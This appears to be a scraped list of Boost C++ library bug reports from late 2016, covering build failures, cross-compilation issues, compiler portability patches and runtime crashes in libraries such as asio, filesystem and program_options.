        //this work perfectly
    }

#12576: Segmentation fault when use bcp for asio lin in Mac Clang6.0

julien.dauba@… — Wed, 02 Nov 2016 09:58:10 GMT

segmention fault occurs when use bcp command for asio lib in Mac with clang 6.0. command :

./dist/bin/bcp --namespace=boost --namespace-alias asio config build boost

Log error:

CAUTION: don't know how to trace depenencies through macro: "BOOST_ATOMIC_DETAIL_HEADER(boost/atomic/detail/caps_)" in file: boost/atomic/capabilities.hpp

CAUTION: don't know how to trace depenencies through macro: "BOOST_ATOMIC_DETAIL_HEADER(boost/atomic/detail/ops_)" in file: boost/atomic/detail/operations_lockfree.hpp INFO: tracking source dependencies of library atomic due to presence of "struct lockpool {" in file "boost/atomic/detail/lockpool.hpp" INFO: tracking source dependencies of library exception due to presence of " int clone_current_exception_non_intrusive( clone_base const * & cloned );" in file "boost/exception/detail/clone_current_exception.hpp" INFO: tracking source dependencies of library serialization due to presence of "class BOOST_SYMBOL_VISIBLE extended_type_info :

private boost::noncopyable

{" in file "boost/serialization/extended_type_info.hpp" INFO: tracking source dependencies of library coroutine due to presence of "struct BOOST_COROUTINES_DECL stack_traits {" in file "boost/coroutine/stack_traits.hpp" Segmentation fault: 11

#12575: fix compilation of software using libressl and boost asio

Wed, 02 Nov 2016 09:20:33 GMT

Some software packages fail to compile when using libressl as ssl provider, e.g. https://bugs.gentoo.org/show_bug.cgi?id=596666#c9

This can be fixed by checking for presence of LIBRESSL_VERSION_NUMBER in addition to the value of OPENSSL_VERSION_NUMBER in boost/asio/ssl/impl/context.ipp

#12573: b2 ignores and other flags selecting toolchain

hbadger@… — Tue, 01 Nov 2016 14:51:20 GMT

Building boost from sources git tag 1.62.0 (4f2bdeb93a4be13ba0dc5e9f44920a2bf67191fc) I want to crossbuild it, on linux (ubuntu) host, for Mac OS X target.

Goal: crossbuild the lib boost, with boost-locale

Result: boost calls my crossbuilder clang++, but calls incorrect (native system) ar, ranlib, etc. As result the produced .a files contain .o objects for Mach-O, but are packed it seems in some incorrect way, they fail when trying to actually use them in crossbuild of a hello world that uses them.

Expected result: b2 build should call provided -ar and -ranlib tools, e.g. /home/ubuntu/build/osxcross/target/bin/x86_64-apple-darwin15-ar

Reproduce:

I write the configuration file:

$ cat ~/user-config.jam

using clang : : /home/ubuntu/build/osxcross/target/bin/x86_64-apple-darwin15-clang++ : <archiver>"/home/ubuntu/build/osxcross/target/bin/x86_64-apple-darwin15-ar-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" <striper>"/home/ubuntu/build/osxcross/target/bin/x86_64-apple-darwin15-strip" <ranlib>"/home/ubuntu/build/osxcross/target/bin/x86_64-apple-darwin15-ranlib" :  ;

Mac OSX SDK is provided in e.g. /home/ubuntu/build/macsdk/MacOSX10.11.sdk

Then I call boost build as:

export WITH_ICONV="/home/ubuntu/build/macsdk/MacOSX10.11.sdk/usr/" &&  git clean -xdf ; git submodule foreach git clean -xdf; ./bootstrap.sh --without-icu &&   ./b2 headers  && export OSX_CPU_ARCH="core2" && export OSX_VERSION_MIN="10.8" &&  time  strace  -fffff -s 2000  -e trace=process    ./b2  --toolset=clang     --build-type=complete    "--with-filesystem" "--with-system" "--with-program_options" "--with-thread" "--with-locale"     cxxflags=-mmacosx-version-min=${OSX_VERSION_MIN} cxxflags=-march=${OSX_CPU_ARCH} target-os=darwin architecture=x86 address-model=64  --layout=tagged  link=static runtime-link=static  -sNO_BZIP2=1 --sNO_ZLIB=1       --prefix=/home/ubuntu/build/boost/build-osx/   threading=multi    -sICONV_PATH="$WITH_ICONV"  --prefix="/home/ubuntu/build/boost/build-osx/"  --user-config=/home/ubuntu/user-config.jam  install  &> ~/strace

You can also remove the strace part "strace -fffff -s 2000 -e trace=process" and the end redirection.

Then I see in ~/strace that normal systems ar and ranlib are used. Also, providing not-existing ar program "-AAAAAAAAAAAAA" should cause build error, but it does not.

#12570: b2 ignores Iconv and disabled boost-locale lib, even though has_iconv.cpp passed

hbadger@… — Mon, 31 Oct 2016 13:59:58 GMT

Building boost from sources git tag 1.62.0 (4f2bdeb93a4be13ba0dc5e9f44920a2bf67191fc) I want to crossbuild it, on linux (ubuntu) host, for Mac OS X target.

Goal: crossbuild the lib boost, with boost-locale

Result: boost says that locale needs either ICU or iconv, and it does not build library for locale.

Expected result: it would build the library for boost locale.

Error messages:

...

iconv (libc) : no
iconv (separate) : no

...

Boost.Locale needs either iconv or ICU library to be built.

... ls stage/lib/ libboost_atomic-mt-s.a libboost_filesystem-mt-s.a libboost_program_options-mt-s.a libboost_system-mt-s.a libboost_thread-mt-s.a libboost_atomic-mt-sd.a libboost_filesystem-mt-sd.a libboost_program_options-mt-sd.a libboost_system-mt-sd.a libboost_thread-mt-sd.a

Environment:

Crosscompiler and it's toolchain is built in /home/ubuntu/build/osxcross/target/bin/ and is proven to work (builds Mach-O executables, they work when copied ontop real Mac OS X).

Mac SDK is available in /home/ubuntu/build/macsdk/MacOSX10.11.sdk/ And it provides the iconv.h file (though I do not see any .a or other file for it - is that ok?)

find /home/ubuntu/build/macsdk/MacOSX10.11.sdk/usr/include | grep iconv /home/ubuntu/build/macsdk/MacOSX10.11.sdk/usr/include/iconv.h

Executed command (in place where I downloaded boost, with needed submodules)

export WITH_ICONV="/home/ubuntu/build/macsdk/MacOSX10.11.sdk/usr/" && git clean -xdf ; git submodule foreach git clean -xdf; ./bootstrap.sh --with-icu && ./b2 headers && export OSX_CPU_ARCH="core2" && export OSX_VERSION_MIN="10.8" && time ./b2 --toolset=clang --build-type=complete --with-filesystem --with-system --with-program_options --with-thread --with-locale cxxflags=-mmacosx-version-min=${OSX_VERSION_MIN} cxxflags=-march=${OSX_CPU_ARCH} target-os=darwin architecture=x86 address-model=64 --layout=tagged link=static runtime-link=static -sNO_BZIP2=1 --sNO_ZLIB=1 --prefix=/home/ubuntu/build/boost/build-osx/ threading=multi boost.locale.icu=off boost.locale.std=off boost.locale.iconv=on -sICONV_PATH="$WITH_ICONV"

Running strace debug (strace b2), I can confirm that Boost does try to build the has_ionv.cpp program, and it seems to work fine. All invocations I seen return with 0 exit code.

E.g:

[pid 22980] execve("/home/ubuntu/build/osxcross/target/bin/x86_64-apple-darwin15-clang++", ["/home/ubuntu/build/osxcross/target/bin/x86_64-apple-darwin15-clang++", "-c", "-x", "c++", "-march=core2", "-mmacosx-version-min=10.8", "-O0", "-g", "-fno-inline", "-Wall", "-g", "-fPIC", "-m64", "-march=core2", "-mmacosx-version-min=10.8", "-DBOOST_ALL_NO_LIB=1", "-I.", "-I/home/ubuntu/build/macsdk/MacOSX10.11.sdk/usr/include", "-o", "bin.v2/libs/locale/build/clang-linux-3.8.0/debug/target-os-darwin/has_iconv_libc_ext.o", "libs/locale/src/../build/has_iconv.cpp"], 22 vars */) = 0

Repeating this test manually also works, creates the .o file, and it is indeed in Mach-O format.

No idea why then it still tells me that iconv was not enabled, and as result does not build locale.

This bug disallows me from at all using Boost until fixed.

#12567: boost::filesystem::path::generic crashes on Windows while attempting to build a network share path

alexandra.ghecenco@… — Fri, 28 Oct 2016 16:02:50 GMT

I'm attempting to check whether a file on a shared path exists. The path is an unaccessible RDC share on WinXP.

Code snippet:

bool fileOk = boost::filesystem::exists(i_pFileName, ec) && boost::filesystem::is_regular_file(i_pFileName, ec);

pFileName is a const char*, value

\\tsclient\E\floating_Jasper.cap

That specific path is inaccessible.

I can't post the whole call stack because of company policy, but the faulting boost frames are as follows:

0:000> kb
ChildEBP RetAddr  Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0012f2f8 78ac872d e06d7363 00000001 00000003 kernel32!RaiseException+0x52
0012f330 02785a5f 0012f354 027939fc 7d335a21 MSVCR100!CxxThrowException+0x45
0012f3b8 02786a5a 0012f460 0012f48c 00000000 boost_filesystem_vc100_mt_1_60!boost::filesystem::path::generic+0xc1f
0012f418 00b47169 0012f460 0012f48c 00000000 boost_filesystem_vc100_mt_1_60!boost::filesystem::detail::status+0x5a

I'd expect this to return an error code and not crash.

#12561: program_options fails with clang++/libc++

Thu, 27 Oct 2016 18:47:12 GMT

trying to use it fails with

undefined reference to `boost::program_options::options_description::options_description
(std::__1::basic_string<char, std::__1::char_traits<char>,
 std::__1::allocator<char> > const&, unsigned int, unsigned int)'

libboost_program_options.so.1.62.0 has

000000000003ac70 T boost::program_options::options_description::options_description
(std::__cxx11::basic_string<char, std::char_traits<char>,
 std::allocator<char> > const&, unsigned int, unsigned int)

boost was built with "-stdlib=libc++" and clang 3.9

#12558: reverse_graph is missing degree()

matthew.barr@… — Thu, 27 Oct 2016 03:18:44 GMT

Commit 50bfd8d added the missing check for degree in BidirectionalGraphConcept, but reverse_graph doesn't implement degree and thus fails the concept check.

#12557: new_iterator_tests.hpp has a missing #include

gromer@… — Wed, 26 Oct 2016 22:55:30 GMT

iterator/new_iterator_tests.hpp uses the mpl::and_ metafunction, but does not #include the boost/mpl/and.hpp header that defines it. Among other things, this prevents Boost.Iterator from being built using C++ modules (see http://clang.llvm.org/docs/Modules.html), because modules require headers to be self-contained.

A fix is attached (relative to 1.60.0).

#12555: Graph headers are not self-contained

gromer@… — Wed, 26 Oct 2016 21:45:17 GMT

Many BGL header files are not self-contained, meaning that they will not compile if #included into a translation unit that doesn't #include anything else. For example, boost/graph/bandwidth.hpp refers to vertex_index, but does not #include boost/graph/properties.hpp, the header which declares vertex_index.

Among other things, this prevents BGL from being adapted to take advantage of C++ modules (see http://clang.llvm.org/docs/Modules.html), because modules require headers to be self-contained.

Attached is a patch (against 1.60.0) to correct these problems, usually by adding missing #includes. The change to howard_cycle_ratio.hpp is slightly more subtle: the problem there is that the code refers to boost::num_edges(g), but doesn't #include a header that declares that function. However, the choice of the right header to #include depends on the type Graph of g, which is a template parameter. This points to the real problem: this code should be calling num_edges(g) unqualified, so that it uses argument-dependent lookup to find the num_edges() overload in the namespace of Graph, rather than restricting itself to the overloads defined in namespace boost.

#12554: boost/core/typeinfo.hpp creates unwanted strings in release binary

Wed, 26 Oct 2016 21:11:09 GMT

If a program is compiled for a production build then strings are created in program binary. Location where the strings are created: boost/core/typeinfo.hpp -> boost::core::detail::core_typeid_::name -> BOOST_CURRENT_FUNCTION.

Current behavior has two drawbacks for a production version of a program:

binary program file size become larger
code symbols are present in production version of a program

Five minutes proposed solution from me is replace function "name" by

Code highlighting:

  static char const * name()
    {
#ifdef NDEBUG
        return "";
#else
        return BOOST_CURRENT_FUNCTION;
#endif
    }

Sorry for English...

Thank you for attention.

#12550: output operator for multiprecision cpp_dec_float does not recognise locale settings for decimal point

Tue, 25 Oct 2016 14:21:06 GMT

A cpp_dec_float_50 variable being transformed to a string will always contain a decimal *point* - independent of the locale used for the stream.

The reason is that all branches in format_float_string (number_base.hpp, line 806) append a decimal point. The function might need an additional parameter for the actual decimal separator in use.

#12548: Build system fails to find Python 3.5 on macOS

Mon, 24 Oct 2016 20:11:59 GMT

Hi, boost_1_62_0/tools/build/src/tools/python.jam only looks for binaries named "python" in the "usual locations" (line 432). However, with the Packages from python.org at least for 3.5.1 and 3.5.2 there is only a "python3" binary in that path. Also, the includes are not in "include/python$(version)" (line 542) but in "include/python$(version)m". Quickfix attached.

#12546: Using lambda in transformed or filtered adaptors result in non assignable iterator

Mon, 24 Oct 2016 15:04:54 GMT

Hi,

boost::range::adaptor is a great fit for lambda, but since they have their assignment operator (as well as default constructor) deleted, transform iterator and filter iterator cannot be re-assigned which can make it more difficult to work with.

transformed and filtered adaptors booth work around the non default constructible, would it make sense to handle the non assignable case as well?

This pull request describe the problem through test, and a potential fix. https://github.com/boostorg/range/pull/46

Kind regards, Jean-Philippe.

#12545: stream_socket_service forcibly takes responsibility for closing the native_handle

Mon, 24 Oct 2016 09:06:19 GMT

When using the basic_stream_socket constructor with a native_handle_type, it seems that the service will call close() on it upon destruction.

I have no expectation on this behavior, but this should be stressed in the documentation. Using this constructor (or the assign() method) is very handy when dealing with third-parties, but those very same third-parties can have the same policy of auto-closing.

This will lead to double closing, which is the best way for data corruption in a process that constantly opens and closes files.

I will go for a call to dup() before using the ip::tcp::socket for now.

#12541: Permit test cases that are templated and data-driven

Fri, 21 Oct 2016 17:44:45 GMT

The data-driven test cases and template test cases are both really useful but AFAIU, it isn't possible to use both these features in one testcase.

I propose that this should be possible because I think it would be very helpful. In this case, the testcase would be performed for all combinations of types and values (ie a Cartesian product / grid). Through smart packaging of their types and values, users would then be able to run a testcase on any possible combination.

#12539: error category thread safety (system + asio) c++98

richard@… — Wed, 19 Oct 2016 22:17:17 GMT

Foo.exe!boost::system::error_code::category() Line 355

I produced this with a global io_service and calling poll_once in a loop inside a second win32 thread. The program runs for an indeterminate amount of time before one of the calls to the handler results in an access violation (see above).

Is asio meant to work without c++11 suppport?

#12536: Implement small_flat_set and small_flat_map in terms of small_vector.

samkellett@… — Wed, 19 Oct 2016 17:19:54 GMT

Currently flat_set and flat_map use a vector as their underlying container type. These two containers can have small space optimised variations that use a small_vector as the underlying type instead.

#12535: boost::program_options cannot handle std::uint8_t arguments

gilgamash — Wed, 19 Oct 2016 07:23:01 GMT

When using std::uint8_t (and probably std::int8_t as well) as a value type for parameters, the store method crashes with an exception: the argument (value) for option '(option)' is invalid.

#12533: Difficulty building boost 1.62.0 using current mingw distribution

drmhkelley@… — Mon, 17 Oct 2016 23:54:34 GMT

This was really frustrating - am not experienced bat file user so don't know what the "proper" fixes would be. I fixed 3 specific issues.

bootstrap.bat never reached the section looking for MinGW gcc compiler. I moved that earlier in the script (just before checking for msvc compilers).
the path for the gcc compiler was hardwired - I had to modify the script to look in the right place and also properly adjust the value for the BOOST_JAM variable.
toolset=mingw is not supported by jam - had to set it to gcc instead
project-config.jam still had toolset=mingw, had to set it to gcc.

After those changes (and loss of *many* chunks of hair!!) bootstrap and b2 seem to be working correctly. Will update this ticket or post a new if further problems arise.

#12529: Sending two int values

anonymous — Fri, 14 Oct 2016 11:48:31 GMT

Dear all,

I would like trough a C++ program send two int values via the serial port. I configured correctly the serial port with Boost::asio, but I don't know how to send those two int values in a buffer (Newbie in c++). I saw a lot of tutorials, but unfortunatly, I didn't find my answer.

Could you help me please ?

#12528: boost::asio::ssl_stream "short read error" when a connection is closed

Nakao_Kazuhiro@… — Fri, 14 Oct 2016 07:30:06 GMT

I use boost::asio to make client/server programs using SSL and I use boost::asio example as a reference. The problem is that when client or server closes the connection, the other side has "short read error". Using NOT SSL, this problem isn't detected, this is the problem using SSL. When the client program closes connection, the server has "short read error". The other way, the server program closes connection, the client has "short read error" too. The original sample programs don't output errors, so I add the codes which output errors.

http://www.boost.org/doc/libs/1_62_0/doc/html/boost_asio/example/cpp03/ssl/server.cpp http://www.boost.org/doc/libs/1_62_0/doc/html/boost_asio/example/cpp03/ssl/client.cpp

[server.cpp]

void handle_read(const boost::system::error_code& error, size_t bytes_transferred) {
    if (!error)
    {
      boost::asio::async_write(socket_,
          boost::asio::buffer(data_, bytes_transferred),
          boost::bind(&session::handle_write, this,
            boost::asio::placeholders::error));
    }
    else
    {
      std::cout << "Server Error: " << error.message() << "\n"; //add
      delete this;
    }
}
void handle_write(const boost::system::error_code& error) {
    if (!error)
    {
      socket_.async_read_some(boost::asio::buffer(data_, max_length),
          boost::bind(&session::handle_read, this,
            boost::asio::placeholders::error,
            boost::asio::placeholders::bytes_transferred));
    }
    else
    {
      std::cout << "Server Error: " << error.message() << "\n"; //add
      delete this;
    }
}

The sample programs don't use "socket_.shutdown()" and "socket_.lowest_layer().close()". The shutting down process is automatically executed by the destructor. I use "socket_.shutdown()" and "socket_.lowest_layer().close()" using the following page as a reference, but the same error happens. http://stackoverflow.com/questions/25587403/boost-asio-ssl-async-shutdown-always-finishes-with-an-error

Other hand, the release note of Boost_1.58.0 has the Updated Libraries log which is "Fixed an ssl::stream<> bug that may result in spurious 'short read' errors". I can't figure out this change has relations about this problem, but this event is already detected. http://www.boost.org/users/history/version_1_58_0.html

#12527: cpp_bin_float: Anal fixation. Part 3. Double rounding when result of convert_to() is a subnormal

Michael Shatz — Thu, 13 Oct 2016 23:46:51 GMT

When convert_to<double>() applied to numbers in subnormal range the value is initially rounded to 53-bit precision and then rounded again, by ldexp() routine, to the target precision which is lower than 53 bits. The problem is exactly the same as the well-known problem that makes it virtually impossible to produce 100% IEEE-754 compliant results with Intel x87 FPU.

Because of double rounding, resulting subnormals are not always the closest representable double-precision numbers to the original value or, in case of tie, they are not always even.

Exactly the same problem applies to convert_to<float>()

The attached files demonstrate the problem and one possible workaround, not necessarily that fastest, but likely the simplest.

#12526: test_graphs.cpp :Error: The operation "boost::undirected_graph*** is illegal

Aparna.kumta@… — Thu, 13 Oct 2016 21:34:23 GMT

Compiling libs/graph/test/test_graphs.cpp with Oracle Developer Studio 12.5, wq see the following error:
$ CC -compat=5 -library=stlport4 -xO4 -mt -erroff=%none -m32 -KPIC -DBOOST_ALL_NO_LIB=1 -DNDEBUG -I".." -c -o ./test_graphs.o ../libs/graph/test/test_graphs.cpp
"../libs/graph/test/test_properties.hpp", line 20: Error: The operation "boost::undirected_graph<VertexBundle, EdgeBundle, GraphBundle>[boost::graph_bundle_t]" is illegal.
"../libs/graph/test/test_properties.hpp", line 120: Where: While instantiating "test_graph_bundle<boost::undirected_graph<VertexBundle, EdgeBundle, GraphBundle>>(boost::undirected_graph<VertexBundle, EdgeBundle, GraphBundle>&, mpl_::bool_<1>)".
...

See:
http://www.boost.org/development/tests/develop/developer/output/oracle-sparc-S2-12-5-stlport4-boost-bin-v2-libs-graph-test-test_graphs-test-sun-12-5_stlport4-release-threading-multi.html

The following changes to boost/graph/properties.hpp resolves the issue.

$diff properties.hpp properties.hpp_orig

325a326,333
>
> #if BOOST_WORKAROUND(__SUNPRO_CC, BOOST_TESTED_AT(0x590)) && !defined (BOOST_GRAPH_NO_BUNDLED_PROPERTIES)
> // This compiler cannot define a partial specialization based on a
> // pointer-to-member type, as seen in boost/graph/subgraph.hpp line 985 (as of
> // trunk r53912)
> #  define BOOST_GRAPH_NO_BUNDLED_PROPERTIES
> #endif
>

#12523: configuration issue in foreach.hpp for Oracle Developer Studio compiler

Aparna.kumta@… — Thu, 13 Oct 2016 17:26:52 GMT

Compiling rvalue_const.cpp with Oracle Developer Studio 12.5, we see the following error:

CC -compat=5 -library=stlport4 -xO4 -mt -erroff=%none -m32 -KPIC -DBOOST_ALL_NO_LIB=1 -DNDEBUG -I".." -c -o ./rvalue_const.o ../libs/foreach/test/rvalue_const.cpp

"../libs/foreach/test/rvalue_const.cpp", line 18: Error: #error Expected failure : const rvalues disallowed.

Solution:
The following change to boost/foreach.hpp resolves the issue
$ diff foreach.hpp foreach.hpp_orig
59a60

BOOST_WORKAROUND(SUNPRO_CC, >= 0x5100)

#12522: boost/math/tools/minima.hpp pass functor by ref

ch816772@… — Wed, 12 Oct 2016 23:15:53 GMT

Would it be better to pass the functor f by ref for the following

template <class F, class T> std::pair<T, T> brent_find_minima(F f, T min, T max, int bits);

template <class F, class T> std::pair<T, T> brent_find_minima(F f, T min, T max, int bits, boost::uintmax_t& max_iter);

To instead be:

template <class F, class T> std::pair<T, T> brent_find_minima(F& f, T min, T max, int bits);

template <class F, class T> std::pair<T, T> brent_find_minima(F& f, T min, T max, int bits, boost::uintmax_t& max_iter);

#12521: runtime error placement_new.cpp with Oracle Developer Studio compiler

Tue, 11 Oct 2016 21:03:21 GMT

Test placement_new.pp fails during runtime with non-zero exit status with Oracle Developer Studio compiler. http://www.boost.org/development/tests/develop/developer/output/oracle-intel-S2-12-5_next-cpp11-boost-bin-v2-libs-numeric-ublas-test-placement_new-test-sun-12-5_next_cpp11-release-threading-multi.html

Solution: Modify number/ublas/detail/config.hpp
diff config.hpp config.hpp_orig
61,66d60
< Oracle Developer Studio compiler
< #if defined (SUNPRO_CC) && ! defined (BOOST_STRICT_CONFIG)
< #if SUNPRO_CC >= 0x5130
< #define BOOST_UBLAS_USEFUL_ARRAY_PLACEMENT_NEW
< #endif
< #endif

#12520: Boost.Fiber requirements are executed when cross-compiling

carlosmf.pt@… — Tue, 11 Oct 2016 14:30:50 GMT

I have tried to build Boost.Fiber using the OpenWRT cross-compiler for Raspberry Pi B platform (armv6k) but without success.

The ./fiber/build/Jamfile.v2 has cxx11_* requirements, which in order to be successfully detected, the Boost Building system executes in order to check them out. If Boost is being cross-compiled to another platform, those tests will always fail even though the binaries are correctly compiled.

This should not happen when cross-compiling.

#12518: boost::filesystem::unique_path throws std::exception and not filesystem_error

gerald.lodron@… — Tue, 11 Oct 2016 12:09:54 GMT

try this

path tmp = boost::filesystem::temp_directory_path(); tmp /= "MyApp-%%%%-%%%%-%%%%-%%%%";

path folderName; try {

folderName= boost::filesystem::unique_path(tmp );

} catch(boost::filesystem::filesystem_error& roE) {

std::cout << "Never come here on windows temporary user account" << std::endl;

} catch (std::exception& roE) {

std::cout << "Here i come on windows temporary user account" << std::endl;

}

in fact a boost exception should be thrown. Tested on Windows 8.1 x64

#12516: Missing boost::serialization::array_wrapper in built serialization binary

michele.de.stefano@… — Tue, 11 Oct 2016 10:58:53 GMT

When building code that links against libboost_serialization with the intel compiler I receive a link error saying

undefined reference to `boost::serialization::array_wrapper<unsigned long> const boost::serialization::make_array<unsigned long>(unsigned long*, unsigned long)

This bug is affecting also Boost MPI, that exploits Boost Serialization.
The bug is not present into Boost 1.59.0. I've not tried Boost 1.62.0.

Some more details:

OS: CentOS6
Compiler:
Intel 16, over gcc 4.9.2 (tried building with both -std=c++11 or -std=c++14).
Tried also with Intel 13, over gcc 4.8.5 (-std=c++11) and the issue is the same.

#12515: bjam "python=X.X" option not recognized anymore

boost@… — Tue, 11 Oct 2016 09:11:55 GMT

In Boost 1.62, specifying "python=3.5" is not working anymore: Always the first python entry in user-config.jam is selected. It seems to be related to a change in tools/build/src/tools/python.jam (line 905 ff), which appeared between 1.61.0 and 1.62.0.

#12513: Boost optional (1.60/1.61/1.62) generates "may be used uninitialized" warnings with gcc 6

romain.geissler@… — Mon, 10 Oct 2016 21:57:44 GMT

Hi,

I have met a small case where boost::optional wrongly generates gcc warnings about maybe uninitialized values. I could reduce my case and provide the attached reproducer.

Note that this warning only happens when optimization are used (-O1 or -O2 while strangely no warning is emitted with -O3).

It's built with (from a Fedora rawhide Docker container just cloned): [root@a064b4c04fc9 tmp]# g++ -std=gnu++14 -O2 -Wall -c -o test.o test.cpp test.cpp: In function 'void someFunction(const void*)': test.cpp:22:16: warning: '*((void*)& aOptional +4)' may be used uninitialized in this function [-Wmaybe-uninitialized]

Optional_t aOptional;

[root@a064b4c04fc9 tmp]# g++ --version g++ (GCC) 6.2.1 20160916 (Red Hat 6.2.1-2) Copyright (C) 2016 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

Other bug reports in Boost are always mentioning https://gcc.gnu.org/bugzilla/show_bug.cgi?id=47679 as the root cause, but this is not true anymore since this gcc bug was closed last year and all commits made at the time have been released in gcc 6. Please note that I could reproduce as well with the latest trunk from gcc 7.

This was reproduced with both Boost 1.60 and 1.61, but should happen as well in Boost 1.62 given that boost::optional did almost not change.

Also note that using std::experiment::optional from gcc's libstdc++ implementation works just fine.

I am not sure whether this is actually a Boost bug or a gcc one. If it's a gcc one then it's seems to be different from https://gcc.gnu.org/bugzilla/show_bug.cgi?id=47679.

Can you please have a look.

Thanks, Romain

#12504: Use types from in boost::uint_t and boost::int_t

john@… — Fri, 07 Oct 2016 20:44:01 GMT

I'd like to suggest that instead of using built-in types to implement boost::uint_t and boost::int_t that the explicitly sized types from <cinttypes> be used.

Take for instance this definition:

template<> struct int_least_helper<4> { typedef short least; };

Is there any reason not to replace short with std::int16_t in this line?

My (entirely selfish) reason to suggesting this is that I've hit an odd case in code I am writing in which boost::uint_t<64>::fast is a different type to std::uint64_t. It would appear that std::uint64_t is defined as unsigned long long under XCode 7 but unsigned long under XCode 6. I fear that weirdness like this is inevitable given the many combinations of widths which built-in integer types can assume. But using the known-width types provided by <cinttypes> would seem like a more reliable way to proceed.

Many thanks, John McFarlane

#12502: boost/asio/error.hpp: fix warnings about unused static variables

bachmann@… — Thu, 06 Oct 2016 13:21:11 GMT

Please add the following pre-processor define (or similar) around the static variables in "boost/asio/error.hpp" such that the warnings about unused variables can be switched off in client code.

Analog to boost/system/error_code.hpp:

#ifndef BOOST_SYSTEM_NO_DEPRECATED static const boost::system::error_category& system_category

boost::asio::error::get_system_category();

static const boost::system::error_category& netdb_category

boost::asio::error::get_netdb_category();

static const boost::system::error_category& addrinfo_category

boost::asio::error::get_addrinfo_category();

static const boost::system::error_category& misc_category

boost::asio::error::get_misc_category();

#endif

#12496: clang 3.9 fails to generate precompiled headers

Sun, 02 Oct 2016 08:15:41 GMT

Bootstrapping

./bootstrap.sh --with-toolset=clang --with-icu=/usr
  --prefix=~/lib/boost_clang --with-python=python3

./b2 toolset=clang variant=release link=shared threading=multi address-model=64
  cxxflags="-march=native -O3 -pipe -I~/lib -std=c++14 -libstd=libc++"
  linkflags="-L~/lib -lc++ -lc++abi"

Result:

clang-linux.compile.c++.pch bin.v2/libs/math/build/clang-linux-3.9.0/release/threading-multi/../src/tr1/pch.hpp.pth
clang-3.9: error: cannot specify -o when generating multiple output files
"clang++" -x c++-header -O3 -Wno-inline -Wall -pthread -fPIC -m64 -march=native
  -O3 -pipe -I~/lib -std=c++14 -libstd=libc++
  -DBOOST_ALL_NO_LIB=1 -DBOOST_BUILD_PCH_ENABLED
  -DBOOST_MATH_TR1_DYN_LINK=1 -DNDEBUG -I"." -I"libs/math/src/tr1"
  -Xclang -emit-pth -o
    "bin.v2/libs/math/build/clang-linux-3.9.0/release/threading-multi/../src/tr1/pch.hpp.pth"
  "libs/math/build/../src/tr1/pch.hpp"

#12493: Compile error in boost::intrusive with Sun compiler 12.4

kilian.kilger@… — Fri, 30 Sep 2016 16:21:28 GMT

When trying to compile the unit tests in boost::container, I get compile errors in boost/intrusive/detail/to_raw_pointer.hpp on Sun with the 12.4 Sun Studio compiler in non-C++11 mode when using the ancient STLport 4.5.

"/boost/intrusive/detail/to_raw_pointer.hpp", line 41: Error: Variable p of type void*const is not a structure. "/boost/container/detail/multiallocation_chain.hpp", line 66: Where, temwhileinst: While instantiating "boost::intrusive::detail::to_raw_pointer<void*>(void*const&)". "/boost/boost/container/detail/multiallocation_chain.hpp", line 66: Where, teminstend: Instantiated from non-template code.

For me it seems that the Sun compiler picks the wrong overload here. Why is the code there not "disambiguated" via boost::enable_if?

The following code seems to work:

template<class Pointer> inline typename boost::intrusive::pointer_element<Pointer>::type* to_raw_pointer(const Pointer &p, typename boost::disable_if<boost::is_pointer<Pointer> >::type * = 0) { ... }

At least, the unit tests are running.

The code in this file did not change in this regards in Boost 1.61.

#12492: No libbost_fiber files after building boost 1_62

filwoz@… — Thu, 29 Sep 2016 11:21:53 GMT

Hi,

I've been trying to get boost:fiber library file. I've downloaded newest version of boost from sourceforge and installed boost with those commends:

./bootstrap.sh --prefix=PREFIX
./b2
./b2 install --prefix=PREFIX

(With PREFIX being some directory of course) Next I've tried to compile this code:

#include <boost/fiber/all.hpp>
int main()
{
        boost::fibers::promise<int> promise;
        boost::fibers::future<int> future(promise.get_future());
        return 0;
}

With:

g++ -I PREFIX/include/ -std=c++11 -L PREFIX/lib/ -lboost_fiber test.cpp

Unfortunately I've got:

/usr/bin/ld: cannot find -lboost_fiber

I've checked in PREFIX/lib, and there is no libbost_fiber.*. There are others though, like, system, or filesystem etc. Hope you can help. Best regards

#12489: file_lock and fstream read causes "permission denied"

anonymous — Wed, 28 Sep 2016 09:34:18 GMT

The following code causes an exception in the std::getline. The error message received by strerror() is "permission denied".

The exception goes away by removing the lock and unlock line.

This issue is related to to https://svn.boost.org/trac/boost/ticket/2796 which focuses on writing to the filelock. A "workaround" for that issue is to unlock before flushing the stream. It is not an option to read file before locking it.

How can this issue be fixed? Any possible workaround?

#include "stdafx.h"

#include <iostream>

#include <fstream>

#include <boost/interprocess/sync/file_lock.hpp>

int main(int argc, char* argv[])

{

std::fstream stream("lock", std::fstream::in | std::fstream::out);

stream.exceptions(std::fstream::badbit | std::fstream::failbit);

boost::interprocess::file_lock lock("lock");

lock.lock();

std::string content; try {

std::getline(stream, content);

} catch (std::exception) {

auto desc = strerror(errno);

}

std::cout << content << std::endl;

lock.unlock();

stream.close();

return 0;

}

#12485: accessing message_queue created by 64bit process from a 32bit process results in blocked process.

Mon, 26 Sep 2016 19:32:02 GMT

Environment:

Development and target: Windows 7 Pro, 64-bit;
MSVS 2013;
boost is used as header-only

Sequence of events:

process A (64-bit) creates message queue "msgq1"
process B (32-bit) opens "msgq1" (successfully)
process B (32-bit) calls _msg_queue1_object->get_num_msg(); process B is blocked forever.

Note: naturally, no problems when the two processes are both 64bit or both 32bit.

#12483: signals2 bind to member function by value fail to signal when using trackable

kim.lykke.johansen@… — Mon, 26 Sep 2016 13:03:57 GMT

In my trail to learn and get comfortable with signals2 I wrote a small test program. In this program I encountered what I believe to be inconsistency in the way that signals2 connect to member functions when using bind, when using trackable aswell.

Test program:

#include "boost/signals2.hpp"
#include <iostream>
class SignalTest : public boost::signals2::trackable
{
public:
        SignalTest() {};
        void printInfo(const std::string name, int num)
        {
                std::cout << "Signal: " << name << " " << num << std::endl;
        }
};
int main()
{
        boost::signals2::signal<void (const std::string&, int)> sig;
        SignalTest test1;
        sig.connect(boost::bind(&SignalTest::printInfo, test1, _1, _2));
        sig("Test", 1);
        {
                SignalTest test2;
                sig.connect(boost::bind(&SignalTest::printInfo, test2, _1, _2));
                sig("Test", 2);
        }
        return 0;
}

